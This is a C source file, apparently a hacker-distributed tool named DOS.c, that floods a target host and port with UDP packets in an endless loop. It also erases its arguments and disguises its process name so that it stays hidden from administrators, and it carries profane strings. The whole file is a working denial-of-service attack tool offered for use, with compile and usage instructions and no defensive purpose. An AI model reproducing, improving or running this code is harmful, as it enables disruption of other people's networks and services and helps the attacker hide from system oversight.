/*
 * DOS.c by Snifffer (Snifffer@hackermail.com)
 *
 * compilation : Linux -> gcc DOS.c -o DOS
 *               SunOs -> gcc DOS.c -o DOS -lnsl -lsocket
 *
 * syntax : ./DOS <target host> <target port>
 *
 * http://Nopotm.com
 _______  _       _________ _______  _______  _______  _______  _______ 
(  ____ \( (    /|\__   __/(  ____ \(  ____ \(  ____ \(  ____ \(  ____ )
| (    \/|  \  ( |   ) (   | (    \/| (    \/| (    \/| (    \/| (    )|
| (_____ |   \ | |   | |   | (__    | (__    | (__    | (__    | (____)|
(_____  )| (\ \) |   | |   |  __)   |  __)   |  __)   |  __)   |     __)
      ) || | \   |   | |   | (      | (      | (      | (      | (\ (   
/\____) || )  \  |___) (___| )      | )      | )      | (____/\| ) \ \__
\_______)|/    )_)\_______/|/       |/       |/       (_______/|/   \__/
                                                                        

*/

#include <stdio.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdarg.h>
#include <netdb.h>

#define FAKENAME "FUCK YOU ROOT!" // what you want this to hide as on ps -aux
#define BIGDICK "1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF"

char about[] = "DOS.c by Snifffer\n";

// int DOS (char *, short);

main (int argc, char *argv[])
{
  int s, fn;

  if (argc != 3)
    {
      printf (about);
      printf ("syntax : %s <target host> <target port>\n", argv[0]);
      exit (0);
    }

  s = DOS (argv[1], atoi (argv[2]));
  if (s < 0)
    {
      printf ("socket error!\n");
      exit (0);
    }

  memset (argv[0], 0x00, strlen (argv[0]));
  memset (argv[1], 0x00, strlen (argv[1]));
  memset (argv[2], 0x00, strlen (argv[2]));
  strcpy (argv[0], FAKENAME);

  for (;;)
    {
      send (s, BIGDICK, 80, 0);
    }
}

int DOS (char *target, short port)
{
  int sock;
  struct sockaddr_in cyc;
  struct hostent *ip;

  printf (about);

  ip = gethostbyname (target);
  if (ip == NULL)
    {
      printf ("can't resolve victim! -> %s\n", target);
      exit (0);
    }

  printf ("death to %s:%d\n", target, port);

  bzero ((char *) &cyc, sizeof (cyc));
  bcopy (ip->h_addr, (char *) &cyc.sin_addr, ip->h_length);
  cyc.sin_family = ip->h_addrtype;

  cyc.sin_port = htons (port);
  sock = socket (AF_INET, SOCK_DGRAM, 0);
  connect (sock, (struct sockaddr *) &cyc, sizeof (cyc));
  return sock;
}

/* EOF */